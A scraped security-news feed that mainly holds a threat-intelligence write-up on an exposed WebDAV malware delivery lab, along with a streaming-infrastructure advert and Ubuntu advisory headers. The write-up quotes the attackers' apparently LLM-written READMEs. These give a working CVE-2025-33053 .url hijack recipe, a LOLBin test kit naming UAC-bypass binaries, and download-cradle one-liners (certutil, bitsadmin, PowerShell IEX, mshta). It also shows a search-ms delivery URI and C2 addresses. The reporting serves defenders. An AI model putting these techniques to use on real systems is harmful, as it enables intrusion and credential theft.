Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

]]> <![CDATA[USN-8568-1: Linux kernel (OEM) vulnerabilities]]> https://tsecurity.de/de/3681577/unix-server/usn-8568-1-linux-kernel-oem-vulnerabilities/ https://tsecurity.de/de/3681577/unix-server/usn-8568-1-linux-kernel-oem-vulnerabilities/ Mon, 20 Jul 2026 18:01:28 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8566-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3681568/unix-server/usn-8566-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3681568/unix-server/usn-8566-1-linux-kernel-vulnerabilities/ Mon, 20 Jul 2026 17:46:50 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8567-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/ Mon, 20 Jul 2026 17:46:49 +0200 🐧 Unix Server tsecurity.de <![CDATA[The technology behind every live sports moment]]> https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/ https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/ Mon, 20 Jul 2026 16:48:21 +0200 📰 IT Nachrichten tsecurity.de

When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.

They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.

They just feel the moment.

And that’s exactly how it’s supposed to work.

And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.

As audiences moved to digital platforms, the margin for error disappeared.

There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.

Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.

Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.

Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.

Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.

What these viewership numbers actually mean for infrastructure

The shift in how people watch live sport has moved well beyond trend territory.

EMARKETER forecasts that digital live sports audiences in the US will grow to 114.1 million viewers, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.

The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.

During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s CazĂ©TV repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and Telemundo’s digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. 

When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.

Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. 

Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.

Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.

To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.

According to an industry survey, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. 

The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.

Ultimately, the technical demand is driven by a shift in what viewers expect. An IBM sports study revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.

Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.

The planning mistake most organisations make

Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. 

The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic 2 to 25 times above normal levels within seconds. The infrastructure may be different, but the pressure is remarkably similar.

Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.

The problem isn’t the individual systems. It’s how they work together.

Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. 

A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.

Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew 19% in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.

The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.

Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.

Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.

The hidden chain behind every live event

When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.

A live event depends on dozens of systems working together, and any one of them can become a problem.

And the experience is only as good as the weakest handoff between them.

It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.

Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.

Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.

Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.

Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. 

AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.

Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. 

The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.

Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.

What reliability is actually worth

For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.

Neither of those things is true now.

A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.

The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.

Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.

The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.

For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.

The demands ahead are bigger

AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to 80% faster than traditional methods. 

All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.

Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. 

Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. 

Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.

Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.

Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.

The technology you never think about

The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.

This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.

The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.

Delivering that level of reliability is why many of the world’s largest sports brands rely on Tata Communications. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.

By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.

Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.

To learn more, visit us here.

]]> <![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]> https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ Mon, 20 Jul 2026 15:53:12 +0200 📰 IT Security Nachrichten tsecurity.de Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Category

Files

Functions and discoveries

LNK delivery launchers

453

Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths

Filename-spoofing QA

236

Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior

URL/LOLBin execution tests

146

Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution

Encrypted droppers

89

Staged second-stage payloads and installer-style packages

Alternative execution containers

24

search-ms, library-ms, .cpl, and related delivery containers

Payload stubs and spoofed executables

21

Smaller loaders, decoys, and renamed binaries

WebDAV scripts

17

Scripts intended to make WebDAV delivery more reliable on Windows systems

Builder and operator notes

10

README files, test reports, mappings, and generation scripts

ClickFix HTML lures

9

Browser-based social-engineering pages instructing users to run commands

Miscellaneous files

6

Included documentation for the actor’s WebDAV delivery/admin panel

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

testing-files-subfolders.png
Figure 1: Snippet of one of many subfolders containing testing files.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

CVE

Observed samples

Short description

CVE-2025-33053

11

Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)

CVE-2026-21513

4

MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)

CVE-2025-24054

1

Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://


Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

Simba-Service-WebDAV-dashboard-CURP.png
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

Execution-chain-PDF-lure.jpg
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

  • Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

  • Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

  • Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

DlrtyGames-execution-chain.jpg
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. 

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

Hardcoded-$outDir-path.png
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.

⠀
